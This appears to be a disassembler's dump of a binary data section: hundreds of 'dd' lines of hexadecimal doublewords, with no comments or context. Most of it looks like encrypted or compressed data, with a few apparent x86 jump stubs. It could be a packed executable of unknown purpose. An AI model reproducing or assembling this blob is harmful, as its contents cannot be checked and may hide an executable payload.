		dd 28AD30B2h, 173852ABh, 0F69DD4C7h, 0D371F159h, 9E75F033h
		dd 56A72CD0h, 29C71738h, 19961D9Bh, 0C71738C0h,	7085299Fh
		dd 0AE45E487h, 0BD3D10C1h, 1C9C5A33h, 0D015019Eh, 0BED72F9h
		dd 9C3D2A2Eh, 54795A2Eh, 6A4343C1h, 6F070h, 8E294B00h
		dd 3BDA14EBh, 842B479Ch, 42DD0EE5h, 8A31489Fh, 716082E7h
		dd 0A93EE188h, 768D2CCFh, 0A239D877h, 5B8F32D5h, 0A5A23BB8h
		dd 0ECBD38E8h, 2BDC1B56h, 21D86710h, 7A139544h,	69847E79h
		dd 0B9BF3EC5h, 34D23EC8h, 682319B6h, 4AFF608Eh,	0FC7F017Fh
		dd 10E3FA79h, 87E3EC8h,	98CCF68h, 10F6078Ch, 0FB893EC8h
		dd 199EB15Bh, 629C3BDEh, 2851EEAh, 1356Ch, 0DC1BD600h
		dd 18579C39h, 0E86AEE75h, 709C90B3h, 6B9F7E22h,	0F370F3D6h
		dd 0C4F511D9h, 281BB452h, 0C72D58D5h, 0DA0D6442h, 0A64AE905h
		dd 69DAF46Ch, 5262FCh, 3EE00000h, 0CABCBA7h, 0AA88078Eh
		dd 35C4F4AEh, 3DDA8178h, 7B14BBB6h, 7F7851CFh, 890743DCh
		dd 6C8A59ECh, 761A30CDh, 2CB22CB1h, 1210EAC7h, 9FAB44E3h
		dd 816F8421h, 0F1EB05DEh, 7FCB6407h, 78A66401h,	37E5CBF9h
		dd 8096CE38h, 9AC0FC69h, 42000000h, 0B239DC1Bh,	0D70D1126h
		dd 62068090h, 0A84F2AC9h, 680BE40Fh, 3CE30EE5h,	0EDC2839Ch
		dd 24B95D04h, 4209A84Bh, 3ECB3750h, 1FC26592h, 0F07356EBh
		dd 0F6BF2073h, 0FCF6BBC4h, 1092B855h, 14BBB68Dh, 0C02CB075h
		dd 0E97B284Bh, 25733DFDh, 0AA28FF52h, 6108F106h, 0E7233A8Dh
		dd 0D7038C49h, 591h, 0C26500ECh, 0FFA2412Dh, 0CC6B12E8h
		dd 0F6993437h, 0CE7118E1h, 0A1D8F9ABh, 788057FAh, 0D09D32D5h
		dd 7E798E31h, 0B8A3CDBh, 0E8A77584h, 9F230C38h,	9837DE1Bh
		dd 0EE913443h, 39DC1B68h, 7518579Ch, 0B25921EEh, 72913515h
		dd 3244h, 0DC1BBE00h, 0DAA99C39h, 0E862FB9Eh, 0AA43E213h
		dd 0CEB00A0h, 0C36BCC69h, 0A54827ACh, 0A4289A1Eh, 0CC98AA90h
		dd 0BD96540h, 6105196Fh, 2714C2h, 1B6E0000h, 1C16E2DCh
		dd 301AB352h, 28AD30B2h, 0F77C1B5Bh, 3EC87DE6h,	0D26B0B79h
		dd 0C87D6B71h, 323DE93Eh, 801FC2ADh, 5B966DBAh,	4F99A9A6h
		dd 37B97143h, 1B20AC9Eh, 3BAA8D5Ah, 9CDB30D0h, 816E6FF4h
		dd 83013EC8h, 17AE6805h, 0C118C7A4h, 5CED3475h,	4603140Ch
		dd 0F073F573h, 15B25523h, 138E9135h, 0F592313Ch, 8851CE55h
		dd 0E73EC81Bh, 4D78BD61h, 0D4C4EB55h, 0AF32AF36h, 17E5A930h
		dd 9E42C8C7h, 0EC8B2E49h, 9835D817h, 5BE2E77Eh,	4AF109D6h
		dd 0C5149DADh, 9CC717E5h, 5FA66920h, 9872C15h, 575DE265h
		dd 283D345Eh, 19961BA2h, 0CD76E2C0h, 0C285299Fh, 0C05F02EDh
		dd 0CA94C2Bh, 8F16B30Ah, 4BED4610h, 0DBAB1937h,	5DA689D6h
		dd 3EFBDFB0h, 99000004h, 0CA21C05Bh, 956A0DACh,	0BC13B65Dh
		dd 5E7514AFh, 284DEC93h, 0EB925F72h, 16B9B74Ch,	0F2915C73h
		dd 1CBFB84Fh, 45CA497Dh, 38E8A6B4h, 1B60E2CBh, 7514E2DCh
		dd 0D2A370F3h, 10B09A33h, 0FA9DDA31h, 0EC73EE73h, 3EC87DEDh
		dd 7C7D0684h, 133EC87Dh, 0BB38D175h, 4E8F14BCh,	213EC87Dh
		dd 0D38825A3h, 0A8C74C23h, 30A86205h, 260284B2h, 38h, 0FAA3D09Fh
		dd 5D0FD469h, 3DE15FF7h, 22A73EF7h, 0B2F4149Bh,	0DD6BC4F4h
		dd 0CD6C8956h, 0C9D6252Ah, 2750C72Ch, 0DF0EE584h, 0DB170DE9h
		dd 3119B634h, 96C416AFh, 3E000003h, 9C39DC1Bh, 0D2751857h
		dd 0AD309920h, 0F559E426h, 741177C4h, 0ECF54D1h, 61C72CA1h
		dd 0FBFE43E3h, 24C72CA1h, 578DF77Ah, 1FC6992h, 3Ah, 22A73E81h
		dd 0BAAC49Bh, 496BE86Bh, 12C4F4AEh, 33DAA06Fh, 2CB22FAEh
		dd 46C442C7h, 9A199CA9h, 0C72CB243h, 4308A81Eh,	0C72CB2BEh
		dd 48B2BD67h, 0FC698110h, 0C246h, 0DC1BBC00h, 1A579C39h
		dd 0DE19DA73h, 2651A23Bh, 47330083h, 0A34307A0h, 7935BF84h
		dd 2ED3EC8h, 4C2BC05Fh,	254D22A9h, 0D541DA7Eh, 2FB23990h
		dd 1FF49760h, 460BAB52h, 3B0AA264h, 5A5423F0h, 6DDD7A1Dh
		dd 790F4BEBh, 0D59D24D6h, 0F159F69Dh, 6939E61h,	0FC7EB108h
		dd 4727FC79h, 0EA4308A8h, 853D125Dh, 0CAA77CFFh, 826F8423h
		dd 0F9880BDBh, 19F643C3h, 2B4C1h, 42DD0F00h, 8F2E489Fh
		dd 38DF1BF0h, 96314299h, 6E15DCF3h, 0DDF4A6CBh,	35CA6D14h
		dd 0E2F9983Bh, 0FED57413h, 37AB4EF1h, 0A0C6179Ch, 0D09938E8h
		dd 6BE86DF2h, 3EC87D92h, 70CB57EDh, 1F9F88Bh, 0FDF409ADh
		dd 531CB356h, 3E4911B0h, 0BAACBA7h, 0D35AD872h,	0A14E1945h
		dd 8D31D9A3h, 0AF6F45CAh, 5AF0C4F4h, 0AD7386BDh, 0C5ADC72Ch
		dd 8372811Eh, 3DF14BE4h, 74CC259Dh, 0B7BA6442h,	6A059F89h
		dd 68F6C800h, 0C98EFCh,	1BF40000h, 579C39DCh, 6BDA731Ah
		dd 1FB85B94h, 74F69DD4h, 79854FD4h, 727D3EC8h, 74774CCFh
		dd 1D635D9h, 55D053F6h,	37810FCEh, 44E462C1h, 0DC962BEBh
		dd 71D47114h, 3781EBF2h, 820086C1h, 34F67D00h, 0A73B0AA2h
		dd 358C7E21h, 548E6586h, 2CF70ECFh, 57E361C7h, 45C31D51h
		dd 0CD1741BEh, 94283D12h, 4F1E6D01h, 0A73317B0h, 4DCB2439h
		dd 5900F9C6h, 0B15821B6h, 0C30FC4DDh, 0C9119E43h, 1A9h
		dd 0AA4DE804h, 0D77A1955h, 0B453FA00h, 0EB14C1Fh, 0B65900F9h
		dd 0B9C01193h, 60986F12h, 0A8C51ABDh, 66916609h, 13B224C3h
		dd 0E8A34D8Ch, 774B2438h, 9837DE1Bh, 4C833443h,	0CD873C0Bh
		dd 551073FFh, 0B21B3C58h, 1BC99130h, 579C39DCh,	0FDD27518h
		dd 60B64FF2h, 0E86DF0D9h, 7D17E66Dh, 0DC633EC8h, 3EC87D1Dh
		dd 9956D674h, 2822BB5Eh, 9B4106AAh, 0ADC4F577h,	6EF595D6h
		dd 0C72C8B6Fh, 2D068402h, 4604A140h, 9D20A6A2h,	0FD25690Fh
		dd 0F7F7D148h, 0D8BBF58h, 33F00986h, 0F98FC72Ch, 0A04EBC55h
		dd 80234CD1h, 23982DE1h, 0B85CC06Ch, 29AC2E92h,	113FC8AAh
		dd 26008C3Dh, 50864AD0h, 13E05CFCh, 0A2A845E0h,	58385012h
		dd 2CAEBC38h, 0F4976093h, 0FF52DC5Bh, 0FA81489Dh, 3C0EFF75h
		dd 47EA6037h, 0A124C7B0h, 6700A7D2h, 1AE360E3h,	75D36612h
		dd 1DD66F0Fh, 0F614B150h, 0EB0489C8h, 0F075A948h, 2FCD52D9h
		dd 40295B19h, 0A9C62DCAh, 708A6906h, 0A4C72CC9h, 68876C09h
		dd 96D903C5h, 0F57CAA68h, 0F87B4E93h, 6613417Bh, 0DB15DA23h
		dd 1B549F38h, 0F578FA78h, 27EAF370h, 0A885DFB0h, 0BD8D2AD1h
		dd 8A7C9B3Bh, 920F9633h, 0B027CC0Dh, 8125A3DFh,	699C41BEh
		dd 15B32593h, 15B4C18Eh, 1C5B9871h, 0C553D679h,	8D8AE722h
		dd 70852935h, 0F84BE487h, 2ED6E278h, 27C05F8Eh,	66FFA6CCh
		dd 0D4024DD1h, 0F94DB43h, 459A3DE0h, 5EE872Ah, 58B24BE6h
		dd 511EA3AEh, 79460BAEh, 0E3CD980h, 0B75A956Ah,	3BC1Eh
		dd 86160000h, 3ED91BBCh, 822552A1h, 40DF0EE5h, 81244CA7h
		dd 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h, 47E610E3h
		dd 895224AEh, 4C281E2h,	83000000h, 148704EAh, 1C895C24h
		dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 2404895Ch
		dd 216468h, 242C8900h, 3FA56855h, 0C15D1148h, 0C14D08E5h
		dd 0B95102EDh, 4E260EDh, 0E981D1F7h, 70CB9D2h, 8959CD01h
		dd 0C4685DE8h, 89000028h, 4812424h, 424h, 0EC815D00h, 4
		dd 0BA241489h, 8, 289EA01h, 2434FF5Ah, 4C4835Dh, 5324048Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0ADE95C24h, 0D6FFFA9Dh
		dd 37716A58h, 0B84733C6h, 620DFE5h, 0E0FFC503h,	6303EA0Dh
		dd 4EE1A9E9h, 563FE3B7h, 68A101FFh, 4F19A771h, 1A565EB2h
		dd 6FED0B04h, 0B1EAA6Fh, 25A3EBCDh, 6DCAD656h, 5F43473Ch
		dd 2B210469h, 4F52E236h, 19BE1F04h, 631166A3h, 62128BC9h
		dd 3A397C88h, 615CC819h, 82F2FCBh, 0E19F8D8Dh, 958B0620h
		dd 61B32E9h, 1CBD9D89h,	8D89061Bh, 61B2429h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 89C35040h, 76585C7h
		dd 726C061Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 4AAE85C3h, 0EA3A5E44h, 0D185C72Ah
		dd 61B13h, 8B000000h, 1B176D95h, 81B5FF06h, 6A061B09h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 3A14C357h, 0E709BB66h, 2F8595FFh,	6A061Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 14C917C3h, 77D08166h, 0FF006AF3h, 1B220595h,	0EBC08B06h
		dd 418ACC0Ah, 69097C85h, 0EBB1FA19h, 9E7D0079h,	0E2218CEFh
		dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h
		dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh
		dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh
		dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h
		dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h
		dd 711800BEh, 0ADC4D756h, 556A73E2h, 7E93C06h, 6800000Fh
		dd 620E3FEh, 0FA9BEFE9h, 0E4F168FFh, 0E5E90620h, 68FFFA9Bh
		dd 620E5C0h, 0FA9BDBE9h, 0E6FA68FFh, 0D1E90620h, 68FFFA9Bh
		dd 620E77Bh, 0FA9BC7E9h, 0E85A68FFh, 0BDE90620h, 68FFFA9Bh
		dd 620E8FAh, 0FA9BB3E9h, 0E9B368FFh, 0A9E90620h, 68FFFA9Bh
		dd 620EABAh, 0FA9B9FE9h, 0EB5368FFh, 95E90620h,	68FFFA9Bh
		dd 620EC60h, 0FA9B8BE9h, 0EED568FFh, 81E90620h,	68FFFA9Bh
		dd 620EFD1h, 0FA9B77E9h, 0EE896BFFh, 1BBAB44Bh,	0E48B677Ch
		dd 22BDAE45h, 0EA91687Fh, 51802247h, 9DE8128h, 56AD4CEFh
		dd 2D97817h, 3BAF52F5h,	9FC21B98h, 0CC9D38E8h, 2BDC1BF6h
		dd 0E7F8A270h, 179189D0h, 0DF1DD121h, 0AD46DF61h, 8E801FC2h
		dd 840B9237h, 0C4F55F46h, 71D26BD9h
		dd 0C72C9F6Ch, 0FA64EB99h, 0FC6997C2h, 3494h, 0A73EEE00h
		dd 99169B22h, 3EC87D40h, 4205A91Fh, 0F4AEE7BDh,	0D5A271C4h
		dd 0DCB59532h, 57D37312h, 0EAEF54F1h, 13C72CB3h, 447CE669h
		dd 12FC6980h, 0FFh, 6BE86D70h, 3EC87D92h, 22B757EDh, 781F5B55h
		dd 78DF6BDFh, 6951F063h, 3B0AA325h, 0B4B33CADh,	44CB0726h
		dd 3EC84CB5h, 0E7BC3ECCh, 7CCE6706h, 43EA07DCh,	8B2E49AAh
		dd 53F601F2h, 0D6A271B4h, 10B09A33h, 0C848B94Bh, 948E693Eh
		dd 973AB85Bh, 11943740h, 0F0903742h, 5421EE57h,	8E3218B5h
		dd 184459Ch, 0F57E1882h, 9AD7ACC4h, 50F05AF3h, 4ED37614h
		dd 37EEB1CAh, 0C7679EB5h, 32B91055h, 3859B0A6h,	6206F690h
		dd 0FA2E60DFh, 6C413D12h, 0BF668C82h, 673CBF41h, 0E560E38Ah
		dd 0E069F5Eh, 0F0FDF2CDh, 102FCF51h, 8757FEFBh,	43C354D9h
		dd 88FCDEAFh, 1D00000Ch, 0BE15B44Fh, 996E11B0h,	0C017BA61h
		dd 627918B3h, 2C51F097h, 771E5B76h, 52F503D8h, 7E1D58AFh
		dd 48EB04DBh, 118E35A9h, 38E89EC8h, 6DFCC6A7h, 935D5B96h
		dd 39CE72F0h, 33F69940h, 54F1945Ch, 727D52F6h, 3E2A30CFh
		dd 75E14A7h, 6F63D34Ah,	0CFE56AF1h, 90C4F432h, 13E65DFAh
		dd 0FCC72D17h, 6FE54F22h, 0E9FC6A1Bh, 0BFh, 0C568875Ch
		dd 0B87E2228h, 9C39DC1Bh, 0F16E1A57h, 3EC87DE8h, 7A03F2Eh
		dd 0BF41C743h, 79D71D26h, 0D2A13EC8h, 8B6000A7h, 0EFF9BB6Ch
		dd 9AF2249Dh, 28B47918h, 0BEF88B70h, 0BB50F0DAh, 9A7C19BCh
		dd 80FF8643h, 3B0AB01Ah, 4C01F8B5h, 92CFEE69h, 24A62448h
		dd 784C9185h, 2C1DE2FBh, 89077DC7h, 0B8B47D02h,	0BD4B3D12h
		dd 0E9906936h, 0C1608D62h, 643BFE1Dh, 0B146EA89h, 994D21C8h
		dd 6B43C392h, 0B9538A2h, 4A2A0000h, 0FBFB10AFh,	4C26BD5Ch
		dd 0FEED02A5h, 422FC463h, 4359FC9Bh, 1DBC638Eh,	6807AAC6h
		dd 24C36293h, 5AFDA0CFh, 9766ED68h, 0EA38E899h,	0DE1B4101h
		dd 34439837h, 1B68EE91h, 0A99C39DCh, 0C7A69CDAh, 0F106AA28h
		dd 81C46306h, 9A21C8B2h, 0C87DC415h, 892D9B3Eh,	3ED77E74h
		dd 7817BAB5h, 0E178D1E4h, 46C46791h, 59DE40BFh,	0D371C4F5h
		dd 739765DEh, 2BB2CEA1h, 0FE586A90h, 0CF0D3E57h, 0A855E5A0h
		dd 199C1E3Eh, 0AFAE009Ah, 0E66DDBC6h, 0FD9F8762h, 0DD60931Ah
		dd 0F7F18756h, 0CC6CDAC2h, 0AB1EA373h, 61ECAB28h, 826F38D6h
		dd 0CF56D473h, 0D154F700h, 0B855F402h, 0B84FEE92h, 44950EBFh
		dd 2707AD1Bh, 1FFFD5A9h, 44C94624h, 0AC696h, 7E195B00h
		dd 4BEA04DBh, 741B57ACh, 52EDFED5h, 7A2158AFh, 617072D7h
		dd 0B94EF198h, 667D1CBFh, 0B249E887h, 4B7F22C5h, 98B24BC8h
		dd 0DCCD38E8h, 39DC1B66h, 0E6E37A9Ch, 7926E05Fh, 0CB39C4F5h
		dd 0EB9DC448h, 2C58BC4Bh, 0F4C9561Fh, 701092F8h, 0C1085DD1h
		dd 77C7B53Ah, 0F2583D11h, 85EBEE55h, 6A14CD00h,	0AA477DE7h
		dd 5711F64Dh, 74000000h, 0A827D39Fh, 0CD008951h, 8C189A30h
		dd 0E809F19Fh, 0F43ADEDAh, 9B22A73Eh, 7D409916h, 0A91F3EC8h
		dd 0DBD4205h, 22C4F4B2h, 129B21A4h, 5F917616h, 11DE6105h
		dd 9DA245E4h, 0C72CA65Eh, 79FC9FD8h, 0CAB19EF3h, 7C1CF1A6h
		dd 3127469Dh, 8926A447h, 0A0251h, 0A73EC700h, 22149B22h
		dd 0B5C4EB1Fh, 0D857FFF8h, 0C7176301h, 0CF68EA60h, 0A976FD7Bh
		dd 778C2BCEh, 0DE38D578h, 36BB4287h, 176320B9h,	22BB38C7h
		dd 3DC71763h, 3BB84BC7h, 0C71763A2h, 25C947BDh,	1089D22h
		dd 69DF3D34h, 3FE20DE2h, 9B189DA0h, 0CD764142h,	832A501Dh
		dd 3EE260EAh, 922BCEA9h, 98C3D84h, 4B4EFC8Ah, 35097F37h
		dd 5DA60155h, 8C0CCE5Fh, 21000009h, 0C219B853h,	5D7215B4h
		dd 0B44BEE95h, 667D1CB7h, 2045E48Bh, 731A577Ah,	4EF1FFD4h
		dd 7A1954ABh, 54F700D7h, 0FD8201B5h, 38E89BFCh,	6B289A93h
		dd 3EC87D96h, 189B2EB3h, 0EB1F0E9Bh, 0B033D1C4h, 0CE7114E3h
		dd 189B3E39h, 63C7169Dh, 2C9AC717h, 0DE63B38Ch,	66ED68EBh
		dd 0C7176397h, 49E805EAh, 7C1C9EACh, 679C3AB9h,	47F3D2Ah
		dd 0C677E7Fh, 0F57311CDh, 0C1355721h, 0ECC6143h, 90Bh
		dd 9639D4A0h, 0F3963541h, 0D06F16DCh, 0FA9D383Bh, 0C2650CE5h
		dd 9DD4FD9Fh, 747C53F6h, 9CD92ED1h, 6A855AFDh, 0FB628C7h
		dd 0E89A4990h, 7B472838h, 9C39DC1Bh, 511E1857h,	0CE932CAEh
		dd 15EA1D34h, 37F527DCh, 5FFD2179h, 8DC33DE1h, 0CB02857Ah
		dd 414h, 0FE8B73Ah, 0F277D36Ch,	3EC8B0EBh, 0DA600086h
		dd 961DA73Eh, 3EC87D47h, 0A72EAC1Ah, 56029E2Ah,	13EDEC73h
		dd 6843EC8h, 22D10576h,	0A232B057h, 0E0335435h,	2DF296B9h
		dd 0C4EB6DECh, 6037F07Ch, 308C7239h, 0AF36D490h, 0A930AF32h
		dd 0C8C717FAh, 2E499E42h, 0D817EC8Bh, 56AB9835h, 0F3C717FAh
		dd 0D9566Eh, 5FC717FAh,	5FE467E9h, 3D2AFEA1h, 49900FB2h
		dd 0CFCD0CFEh, 0E664019Ch, 8E62E066h, 43C1AC00h, 2C2FAB84h
		dd 0C1000008h, 627918B3h, 7D52F594h, 0D42BCE75h, 865DFC97h
		dd 4025C46Bh, 933A379Ah, 6E11DFF4h, 9A3934CBh, 7417E0F7h
		dd 0DD62E1D5h, 38E8951Ch, 1BC87A73h, 579C39DCh,	0B04F1E18h
		dd 18B53317h, 7BF898DBh, 3EC87D62h, 6C0987FDh, 2CC96487h
		dd 0C2F07F2Fh, 3AA4AB57h, 284B602h, 32B54h, 966BAE00h
		dd 0B33EC87Dh, 9B189B2Eh, 0C4EB1F48h, 73EE7513h, 9532D19Ch
		dd 0B3BC11B5h, 5D9A7110h, 64F91DBAh, 0F76B8F57h, 0BF9497E2h
		dd 0C8F11ACh, 2AA94987h, 6C3CCA3Dh, 43C1E328h, 8CC31798h
		dd 21000007h, 0C219B853h, 5D7215B4h, 0B44BEE95h, 667D1CB7h
		dd 2045E48Bh, 731A577Ah, 4EF1FFD4h, 7A1954ABh, 54F700D7h
		dd 0FD8201B5h, 38E895FCh, 1B289A93h, 579C39DCh,	55531E18h
		dd 60FD7B16h, 2BC46393h, 861FA11Fh, 0C6303FDBh,	284B58Eh
		dd 297C8h, 966B3A00h, 0E23EC87Dh, 9E42E10Dh, 71F4D56Ch
		dd 0D6B892EBh, 0A52AE9BBh, 3EC8AE54h, 461B9D2Bh, 61E4842Bh
		dd 0EBCC1AE2h, 8C0F75C4h, 7215B8B7h, 5D98925Dh,	0A72921BEh
		dd 7F1E4F24h, 6BC464E6h, 30B316ABh, 122B27B5h, 0ADC407D3h
		dd 150A926h, 992FC717h,	0F4E30F5h, 63E13D2Ah, 0C1410B93h
		dd 22B85543h, 6D3h, 4EF18C68h, 7B1EBDB9h, 48E78E64h, 8225C0B3h
		dd 3ADD846Dh, 254C8517h, 0EC04DB7Eh, 2451A649h,	0E20DE285h
		dd 0A72EA03Fh, 0E894D128h, 3BFB038h, 16E2DC1Bh,	0F270DA73h
		dd 2ED19E55h, 0F2956291h, 27D39E55h, 0C87D51A8h, 189A303Eh
		dd 0B049C67Fh, 0CF3EC87Dh, 0A8A75139h, 125D097Ah, 46E510DFh
		dd 7F224DA2h, 5BD85DE0h, 3EC87D82h, 4DC767DDh, 284B217h
		dd 1041h, 0DE38C400h, 90D642CBh, 236FC9Ch, 1A8h, 7D6C6B58h
		dd 24B93EC8h, 0CCA31EA5h, 0E466FFA6h, 1F08FF44h, 2D9BC4EBh
		dd 0ED9ED9A6h, 8F53491Bh, 17A325C2h, 39D9DCF5h,	1417B702h
		dd 0EA8D303Fh, 9E37DA15h, 0A79DD8A7h, 0BB8F28C7h, 7A0AD3Dh
		dd 0AD531948h, 0B0C21709h, 5C9D22C6h, 33C71790h, 0C27A1395h
		dd 7247A8A1h, 48604A1h,	7E7F0481h, 0B8C717E7h, 0CD7D1AC1h
		dd 1417B74Dh, 2AE9A98Fh, 0FCCC3A3Dh, 43C1A3D4h,	0CCBF1BF4h
		dd 61000005h, 8259F893h, 9D32D574h, 748B2ED5h, 0A63DDC77h
		dd 0E08524CBh, 33DA17BAh, 8E313F94h, 3AD914EBh,	94374097h
		dd 0BD42C1F5h, 38E8973Ch, 1BE85A53h, 579C39DCh,	83D87518h
		dd 0D8179CB3h, 0E0589235h, 760284B1h, 7
		dd 0DA02CCh, 6B580000h,	3EC87D6Fh, 0E3DD1AE9h, 74D66F16h
		dd 4DF159F6h, 0C04386DBh, 0EB1F5543h, 0DD60E6C4h, 0A346E906h
		dd 0E780234Ch, 9C1FAA2Fh, 0C6179C19h, 99C71763h, 0D0C68B2Bh
		dd 633D2A6Dh, 3FC1608Eh, 0C13F4B6Fh, 2AB07D43h,	533h, 6E11ACC8h
		dd 1BBE5D99h, 6807AEC4h, 22C56093h, 5AFDA4CDh, 5ECE5F7h
		dd 4C24BB5Eh, 4F106A9h,	422DC265h, 47CE009Fh, 0E89631C8h
		dd 0E35F5038h, 9C39DC1Bh, 0D8751857h, 179CB383h, 0E1AE35D8h
		dd 76D47118h, 81B733D2h, 4D0284B1h, 0C9815EBFh,	0D4760FAAh
		dd 0BED44848h, 7121B837h, 0CA403EC8h, 7AD26h, 2150000h
		dd 24h,	39DC1B58h, 7211DDB2h, 3AE575D5h, 0C0C34282h, 5D96AF4Fh
		dd 0E156EF92h, 0C2AD323Dh, 2E52801Fh, 0C8000000h, 0E66DE86Dh
		dd 3EC87D17h, 8657DC6Ah, 0D93EC87Dh, 83200B5Dh,	81FFB275h
		dd 4CEF08DDh, 974A90B3h, 100A3EC8h, 0B9B3BC41h,	0F9981AC1h
		dd 0E2DC1B31h, 59F67413h, 1AA128BDh, 0EB1FA395h, 1B562DC4h
		dd 0DD18DB74h, 201CBC3Eh, 234C23AAh, 0ED0AE180h, 0D469AD4Ah
		dd 0BCF16EF5h, 333D3401h, 36410E95h, 10DFF493h,	0FF46D06Dh
		dd 0B2BC43CAh, 0C5374B4Fh, 556F3Fh, 9A735DA6h, 42640h
		dd 1EB9BB00h, 0EB8A647Bh, 14BBB74Ch, 0F28D5E75h, 1AC1B84Fh
		dd 1D0D277h, 59AE51F8h,	6DD7C1Fh, 52A948E7h, 0EBDF8225h
		dd 9112EB68h, 7C6D38E8h, 0E2DC1BC6h, 6FDB7413h,	5D956AF1h
		dd 0DCF312B6h, 3CDF1913h, 0A5D221BEh, 7FED7B02h, 0A22CE7B7h
		dd 0F665BE62h, 0CBA42928h, 578D8928h, 7702854Dh, 0EA6475FAh
		dd 7FFB3EC8h, 12AE61BAh, 0C66AE8DCh, 540Dh, 25F47800h
		dd 0FEB2431Eh, 3E7EC464h, 169B22A7h, 0F18E2D49h, 0D7768059h
		dd 0B2DAF237h, 0EF55C4F4h, 0B256976Ch, 2CC9AC2Dh, 0E26FB3C7h
		dd 0C638D0F7h, 9F42C046h, 2C0C4398h, 2D4817C7h,	814BF18Eh
		dd 2E59E57Ah, 0F80DB12Fh, 26BD5CFFh, 0CB0FA847h, 35Fh
		dd 14A73E45h, 708ACED5h, 0BA0A39C9h, 0FC830A88h, 0C4F524EEh
		dd 896A0381h, 0CD48CB6Eh, 2D24B746h, 0BD3CC3C7h, 0D4C72D24h
		dd 0B050B636h, 0F37EA097h, 0F67D4C91h, 419F4C29h, 67FE2537h
		dd 0F159F674h, 0A740DB18h, 0C34003A3h, 3D10CA29h, 0EC87643Bh
		dd 0DB57F753h, 1612EB68h, 0D76DCD02h, 0F5FDD259h, 0D57C754Eh
		dd 9920D231h, 5B28AD30h, 57DC7C1Bh, 373F3195h, 9EA740C6h
		dd 6404A7D1h, 39B6628Fh, 0D3673BA0h, 44C749BFh,	4CD4A4B8h
		dd 0C94C02BAh, 6746B34Ah, 9838CED3h, 0E618B7Fh,	31B415ACh
		dd 5A6138B2h, 0F2953329h, 0EC6F12DDh, 9838D717h, 0D87B747Fh
		dd 521FF439h, 983812ABh, 63EADF66h, 614F2EDCh, 2AC34123h
		dd 892C441Bh, 75BA5EECh, 0DFB08F60h, 0F660EF8Dh, 0E3FDA77Eh
		dd 39D8h, 966D6A00h, 2B1FB857h,	2E44998Bh, 981B9D44h, 0F4AE191Bh
		dd 0AB44C2C4h, 2CB24598h, 7DD4B2C7h, 0B148C74Ah, 0D0C72CB2h
		dd 0D87510E3h, 0D650F072h, 0FC69809Eh, 0DAB8h, 0DC1B4A00h
		dd 1A579C39h, 316CF073h, 4EFB370Bh, 54A52AB1h, 2B3EC8F4h
		dd 2520F99Dh, 92082E97h, 0B8808E9h, 3EC84CF2h, 0D579F78Dh
		dd 0BB54F700h, 18BBB58Ah, 0F1946378h, 48FB094Eh, 4C2B3EC8h
		dd 822552h, 28C7A67Dh, 0EA89648Fh, 0DB7BFD4Dh, 492AF93Ch
		dd 0FAF50AAEh, 158BE57h, 846E45C8h, 660A40DDh, 734E5CE3h
		dd 971AC4F5h, 2D71C118h, 862AA0C7h, 699D3CCAh, 0F16EF5D4h
		dd 3D13D8B8h, 754AD137h, 9D32D57Ch, 29592DD4h, 0F343C249h
		dd 1B1C01Ah, 26460000h,	0D717EC8Bh, 38429938h, 0DA19EE91h
		dd 2E4BA03Fh, 5F85E887h, 41E08772h, 8C2BCEAAh, 38D77677h
		dd 8E31D4A3h, 0A33AB95Ch, 0BE38E893h, 0DE1B55EDh, 0BE959837h
		dd 0D67411B0h, 2FD29D32h, 0F39AD7ACh, 3E6EB453h, 149B22A7h
		dd 0C4F4AE1Eh, 99AA43C1h, 0C72CB244h, 0A76EFAB1h, 9C56BD63h
		dd 0BF927C1Ch, 694E1F55h, 0D639FCh, 0F7CC0000h,	6BB155F8h
		dd 4DE6DF6Dh, 80DCC53h,	0E6643EC8h, 0EB817756h,	0C612EB68h
		dd 0D76D3EC8h, 32D5A237h, 50A926ABh, 2F3EC8C6h,	291CF599h
		dd 0D8781F5Ah, 0B64FF603h, 0C8C2478Dh, 0DB0BF3Eh, 0B75A956Ah
		dd 6861F81Eh, 0E94C5EE5h, 0A91FC4F5h, 826C4306h, 7D004AE3h
		dd 2DEBE7F6h, 6C0C7AC7h, 1FA623BAh, 134EF6A0h, 78FB893Dh
		dd 0A84726FDh, 469B3B0Fh, 851F762Bh, 0C1744B45h, 0CD6A11E8h
		dd 875CFB7Dh, 0F5F3C36Ah, 0C343C29Bh, 0B5F0EAh,	2A4A0000h
		dd 0DB1BF08Fh, 2C469D3Ch, 0DE0DE285h, 224FA443h, 6379DC7Bh
		dd 3DDC836Eh, 8827CAA6h, 44E38273h, 7A1DC0AFh, 0B746CD48h
		dd 0CA38E892h, 0DE1B61E1h, 34439837h, 8870A91h,	3EC87DF1h
		dd 5621FA90h, 2EF413B3h, 9C39DC1Bh, 0D2751857h,	0AD309920h
		dd 0EB1F0826h, 0A03DCBC4h, 0FA812453h, 63E1F877h, 0A80C717h
		dd 4730C766h, 5D380BA4h, 0AF093EC7h, 8C6BF07Fh,	42C06792h
		dd 8C2F489Fh, 58F300F3h, 443A34BFh, 5EEC892Ch, 0C5B043DCh
		dd 0B15B8926h, 3EDD199Eh, 6927A9A1h, 402FB4BBh,	8A92169Dh
		dd 3D071AE0h, 0A73CDB7Bh, 528825C8h, 3,	1BBC86C8h, 52A13ED9h
		dd 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h
		dd 4FA441DCh, 10E37C23h, 24AE47E6h, 81E68956h, 4C6h, 4BF5700h
		dd 29000000h, 34875FFEh, 0AA685C24h, 89000052h,	8951243Ch
		dd 4C181E1h, 83000000h,	0C8704E9h, 2C895C24h, 0B0BD5524h
